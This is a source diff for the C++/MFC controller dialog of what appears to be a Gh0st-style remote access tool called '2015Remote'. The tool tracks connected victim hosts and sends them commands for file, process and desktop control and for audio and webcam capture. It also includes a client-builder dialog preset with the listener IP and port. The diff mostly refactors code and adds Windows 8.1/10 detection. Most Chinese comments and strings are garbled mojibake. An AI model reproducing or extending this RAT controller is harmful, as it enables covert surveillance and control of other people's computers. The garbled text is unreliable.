@@ -26,7 +26,9 @@
# define UM_ICONNOTIFY WM_USER+100
// <20> ļ<EFBFBD> <C4BC> Ի<EFBFBD> <D4BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 飨<EFBFBD> <E9A3A8> Ϊ<EFBFBD> <CEAA> <EFBFBD> <EFBFBD> <D7B5> ³<EFBFBD> <C2B3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ˲<EFBFBD> <CBB2> ԣ<EFBFBD>
std : : vector < CFileManagerDlg * > v_FileDlg ;
// ע<> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> Ի<EFBFBD> <D4BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 飨<EFBFBD> <E9A3A8> Ϊ<EFBFBD> <CEAA> <EFBFBD> <EFBFBD> <D7B5> ³<EFBFBD> <C2B3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ˲<EFBFBD> <CBB2> ԣ<EFBFBD>
std : : vector < CRegisterDlg * > v_RegDlg ;
enum
@@ -43,38 +45,37 @@ enum
typedef struct
{
char * szTitle ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
const char * szTitle ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
int nWidth ; //<2F> б <EFBFBD> <D0B1> Ŀ<EFBFBD> <C4BF> <EFBFBD>
} COLUMNSTRUCT ;
const int g_Column_Count_Online = 7 ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
COLUMNSTRUCT g_Column_Data_Online [ ] =
COLUMNSTRUCT g_Column_Data_Online [ g_Column_Count_Online ] =
{
{ " IP " , 148 } ,
{ " IP " , 148 } ,
{ " <EFBFBD> ˿<EFBFBD> " , 150 } ,
{ " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> /<2F> <> ע" , 160 } ,
{ " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ϵͳ" , 128 } ,
{ " CPU " , 80 } ,
{ " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͷ" , 81 } ,
{ " PING " , 151 }
{ " CPU " , 80 } ,
{ " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͷ" , 81 } ,
{ " PING " , 151 } ,
} ;
// <20> <> <EFBFBD> <EFBFBD> Ӧ<EFBFBD> ó<EFBFBD> <C3B3> <EFBFBD> <F2A1B0B9> ڡ<EFBFBD> <DAA1> ˵<EFBFBD> <CBB5> <EFBFBD> <EFBFBD> <EFBFBD> CAboutDlg <20> Ի<EFBFBD> <D4BB> <EFBFBD>
int g_Column_Count_Online = 7 ;
COLUMNSTRUCT g_Column_Data _Message [ ] =
const int g_Column_Count _Message = 3 ; // <20> б <EFBFBD> <D0B1> ĸ<EFBFBD> <C4B8> <EFBFBD>
COLUMNSTRUCT g_Column_Data_Message [ g_Column_Count_Message ] =
{
{ " <EFBFBD> <EFBFBD> Ϣ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " , 200 } ,
{ " ʱ<EFBFBD> <EFBFBD> " , 200 } ,
{ " <EFBFBD> <EFBFBD> Ϣ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " , 490 }
} ;
int g_Column_Count_Message = 3 ; //<2F> б <EFBFBD> <D0B1> ĸ<EFBFBD> <C4B8> <EFBFBD>
int g_Column_Online_Width = 0 ;
int g_Column_Message_Width = 0 ;
IOCPServer * m_iocpServer = NULL ;
int g_Column_Online_Width = 0 ;
int g_Column_Message_Width = 0 ;
IOCPServer * m_iocpServer = NULL ;
CMy2015RemoteDlg * g_2015RemoteDlg = NULL ;
static UINT Indicators [ ] =
@@ -114,8 +115,7 @@ END_MESSAGE_MAP()
// CMy2015RemoteDlg <20> Ի<EFBFBD> <D4BB> <EFBFBD>
CMy2015RemoteDlg : : CMy2015RemoteDlg ( CWnd * pParent /*=NULL*/ )
: CDialogEx ( CMy2015RemoteDlg : : IDD , pParent )
CMy2015RemoteDlg : : CMy2015RemoteDlg ( CWnd * pParent ) : CDialogEx ( CMy2015RemoteDlg : : IDD , pParent )
{
m_hIcon = AfxGetApp ( ) - > LoadIcon ( IDR_MAINFRAME ) ;
@@ -189,17 +189,9 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
case WM_LBUTTONDOWN :
case WM_LBUTTONDBLCLK :
{
if ( ! IsWindowVisible ( ) )
{
ShowWindow ( SW_SHOW ) ;
}
else
{
ShowWindow ( SW_HIDE ) ;
}
ShowWindow ( IsWindowVisible ( ) ? SW_HIDE : SW_SHOW ) ;
break ;
}
case WM_RBUTTONDOWN :
{
CMenu Menu ;
@@ -218,8 +210,7 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
VOID CMy2015RemoteDlg : : CreateSolidMenu ( )
{
HMENU hMenu ; //SDK C MFC C++
hMenu = LoadMenu ( NULL , MAKEINTRESOURCE ( IDR_MENU_MAIN ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> ˵<EFBFBD> <CBB5> <EFBFBD> Դ
HMENU hMenu = LoadMenu ( NULL , MAKEINTRESOURCE ( IDR_MENU_MAIN ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> ˵<EFBFBD> <CBB5> <EFBFBD> Դ
: : SetMenu ( this - > GetSafeHwnd ( ) , hMenu ) ; //Ϊ<> <CEAA> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ò˵<C3B2>
: : DrawMenuBar ( this - > GetSafeHwnd ( ) ) ; //<2F> <> ʾ <EFBFBD> ˵<EFBFBD>
}
@@ -317,8 +308,6 @@ VOID CMy2015RemoteDlg::InitControl()
}
m_CList_Message . SetExtendedStyle ( LVS_EX_FULLROWSELECT ) ;
SetTimer ( 0 , 3000 , NULL ) ; // <20> <> ʱ<EFBFBD> <CAB1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> õ<EFBFBD> <C3B5> ļ<EFBFBD> <C4BC> Ի<EFBFBD> <D4BB> <EFBFBD>
}
@@ -352,17 +341,10 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
VOID CMy2015RemoteDlg : : ShowMessage ( BOOL bOk , CString strMsg )
{
CString strIsOK , strTime ;
CTime Timer = C Time: : GetCurrentTime ( ) ; //<2F> <> <EFBFBD> <EFBFBD> һ <EFBFBD> <D2BB> CTime <20> <> <EFBFBD> <EFBFBD> һ <EFBFBD> <D2BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> t ʹ <> <CAB9> <EFBFBD> <EFBFBD> <EFBFBD> е ij<D0B5> Ա<EFBFBD> <D4B1> <EFBFBD> <EFBFBD> GetCurrentTime() <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> SDK<44> <4B> <EFBFBD> <EFBFBD>
strTime = Timer . Format ( " %H:%M:%S " ) ;
if ( bOk )
{
strIsOK = " ִ<EFBFBD> г ɹ<EFBFBD> " ;
}
else
{
strIsOK = " ִ<EFBFBD> <EFBFBD> ʧ<EFBFBD> <EFBFBD> " ;
}
CTime Timer = CTime : : GetCurrentTime ( ) ;
CString str Time = Timer . Format ( " %H:%M:%S " ) ;
CString strIsOK = bOk ? " ִ<EFBFBD> г ɹ<EFBFBD> " : " ִ<EFBFBD> <EFBFBD> ʧ<EFBFBD> <EFBFBD> " ;
m_CList_Message . InsertItem ( 0 , strIsOK ) ; //<2F> <> <EFBFBD> ؼ<EFBFBD> <D8BC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
m_CList_Message . SetItemText ( 0 , 1 , strTime ) ;
m_CList_Message . SetItemText ( 0 , 2 , strMsg ) ;
@@ -548,29 +530,11 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
void CMy2015RemoteDlg : : OnTimer ( UINT_PTR nIDEvent )
{
// TODO: <20> ڴ<EFBFBD> <DAB4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ<EFBFBD> <CFA2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> /<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ĭ<EFBFBD> <C4AC> ֵ
switch ( nIDEvent )
{
case 0 :
{
break ;
}
case 1 :
{
break ;
}
}
}
void CMy2015RemoteDlg : : OnClose ( )
{
// TODO: <20> ڴ<EFBFBD> <DAB4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ<EFBFBD> <CFA2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> /<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ĭ<EFBFBD> <C4AC> ֵ
KillTimer ( 0 ) ;
# if SHOW_NOTIFY
Shell_NotifyIcon ( NIM_DELETE , & m_Nid ) ;
# endif
@@ -665,15 +629,13 @@ void CMy2015RemoteDlg::OnOnlineDelete()
BYTE bToken = COMMAND_BYE ; //<2F> ض˷<D8B6> <CBB7> <EFBFBD> һ <EFBFBD> <D2BB> COMMAND_SYSTEM
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ; //Context PreSending PostSending
CString strIP ;
int iCount = m_CList_Online . GetSelectedCount ( ) ;
int i = 0 ;
for ( i = 0 ; i < iCount ; + + i )
for ( int i = 0 ; i < iCount ; + + i )
{
POSITION Pos = m_CList_Online . GetFirstSelectedItemPosition ( ) ;
int iItem = m_CList_Online . GetNextSelectedItem ( Pos ) ;
strIP = m_CList_Online . GetItemText ( iItem , ONLINELIST_IP ) ;
CString strIP = m_CList_Online . GetItemText ( iItem , ONLINELIST_IP ) ;
m_CList_Online . DeleteItem ( iItem ) ;
strIP + = " <EFBFBD> Ͽ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ;
ShowMessage ( true , strIP ) ;
@@ -693,8 +655,6 @@ VOID CMy2015RemoteDlg::OnOnlineProcessManager()
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineWindowManager ( )
{
BYTE bToken = COMMAND_WSLIST ;
@@ -710,26 +670,25 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
VOID CMy2015RemoteDlg : : OnOnlineFileManager ( )
{
BYTE bToken = COMMAND_LIST_DRIVE ; //<2F> <> <EFBFBD> ̾<EFBFBD> <CCBE> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 豸
BYTE bToken = COMMAND_LIST_DRIVE ;
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineAudioManager ( )
{
BYTE bToken = COMMAND_AUDIO ; //<2F> ض˷<D8B6> <CBB7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
BYTE bToken = COMMAND_AUDIO ;
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineVideoManager ( )
{
BYTE bToken = COMMAND_WEBCAM ; //<2F> ض˷<D8B6> <CBB7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
BYTE bToken = COMMAND_WEBCAM ;
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineServerManager ( )
{
BYTE bToken = COMMAND_SERVICES ; //<2F> <> ֵһ <D6B5> <D2BB> <EFBFBD> <EFBFBD> Ȼ<> <C8BB> <EFBFBD> <EFBFBD> <EFBFBD> ͵<EFBFBD> <CDB5> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ˣ<EFBFBD> <CBA3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> COMMAND_SYSTEM
BYTE bToken = COMMAND_SERVICES ;
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
@@ -743,20 +702,24 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
{
// TODO: <20> ڴ<EFBFBD> <DAB4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EEB4A6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
CBuildDlg Dlg ;
Dlg . m_strIP = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetStr ( " settings " , " localIp " , " " ) ;
CString Port ;
Port . Format ( " %d " , ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " ghost " ) ) ;
Dlg . m_strPort = Port ;
Dlg . DoModal ( ) ;
}
VOID CMy2015RemoteDlg : : SendSelectedCommand ( PBYTE szBuffer , ULONG ulLength )
{
POSITION Pos = m_CList_Online . GetFirstSelectedItemPosition ( ) ; //1[pcontext client] 2 3 //1 2
POSITION Pos = m_CList_Online . GetFirstSelectedItemPosition ( ) ;
while ( Pos )
{
int iItem = m_CList_Online . GetNextSelectedItem ( Pos ) ;
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) m_CList_Online . GetItemData ( iItem ) ; //<2F> <> <EFBFBD> б <EFBFBD> <D0B1> <EFBFBD> Ŀ<EFBFBD> <C4BF> ȡ<EFBFBD> <C8A1> ClientContext<78> ṹ<EFBFBD> <E1B9B9>
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) m_CList_Online . GetItemData ( iItem ) ;
// <20> <> <EFBFBD> ͻ<EFBFBD> <CDBB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> ݰ<EFBFBD> //<2F> 鿴ClientContext<78> ṹ<EFBFBD> <E1B9B9>
m_iocpServer - > OnClientPreSending ( ContextObject , szBuffer , ulLength ) ; //Cleint Context
// <20> <> <EFBFBD> ͻ<EFBFBD> <CDBB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> ݰ<EFBFBD>
m_iocpServer - > OnClientPreSending ( ContextObject , szBuffer , ulLength ) ;
}
}
@@ -769,15 +732,12 @@ VOID CMy2015RemoteDlg::OnAbout()
//<2F> <> <EFBFBD> <EFBFBD> Menu
void CMy2015RemoteDlg : : OnNotifyShow ( )
{
// TODO: <20> ڴ<EFBFBD> <DAB4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EEB4A6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
ShowWindow ( SW_SHOW ) ;
}
void CMy2015RemoteDlg : : OnNotifyExit ( )
{
// TODO: <20> ڴ<EFBFBD> <DAB4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EEB4A6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
SendMessage ( WM_CLOSE ) ;
}
@@ -799,9 +759,9 @@ void CMy2015RemoteDlg::OnMainExit()
VOID CMy2015RemoteDlg : : ListenPort ( )
{
int nPort = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " ghost " ) ;
int nPort = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " ghost " ) ;
//<2F> <> ȡini <20> ļ<EFBFBD> <C4BC> е ļ<D0B5> <C4BC> <EFBFBD> <EFBFBD> ˿<EFBFBD>
int nMaxConnection = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " MaxConnection " ) ;
int nMaxConnection = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " MaxConnection " ) ;
//<2F> <> ȡ<EFBFBD> <C8A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
if ( nPort < = 0 | | nPort > 65535 )
nPort = 6543 ;
@@ -1008,7 +968,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
switch ( LoginInfor - > OsVerInfoEx . dwPlatformId )
{
case VER_PLATFORM_WIN32_NT :
if ( LoginInfor - > OsVerInfoEx . dwMajorVersion < = 4 )
if ( LoginInfor - > OsVerInfoEx . dwMajorVersion < = 4 )
strOS = " WindowsNT " ;
if ( LoginInfor - > OsVerInfoEx . dwMajorVersion = = 5 & & LoginInfor - > OsVerInfoEx . dwMinorVersion = = 0 )
strOS = " Windows2000 " ;
@@ -1022,6 +982,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
strOS = " Windows7 " ;
if ( LoginInfor - > OsVerInfoEx . dwMajorVersion = = 6 & & LoginInfor - > OsVerInfoEx . dwMinorVersion = = 2 )
strOS = " Windows8 " ;
if ( LoginInfor - > OsVerInfoEx . dwMajorVersion = = 6 & & LoginInfor - > OsVerInfoEx . dwMinorVersion = = 3 )
strOS = " Windows8.1 " ;
if ( LoginInfor - > OsVerInfoEx . dwMajorVersion = = 6 & & LoginInfor - > OsVerInfoEx . dwMinorVersion = = 4 )
strOS = " Windows10 " ;
if ( LoginInfor - > OsVerInfoEx . dwMajorVersion = = 10 & & LoginInfor - > OsVerInfoEx . dwMinorVersion = = 0 )
strOS = " Windows10 " ;
}
//CPU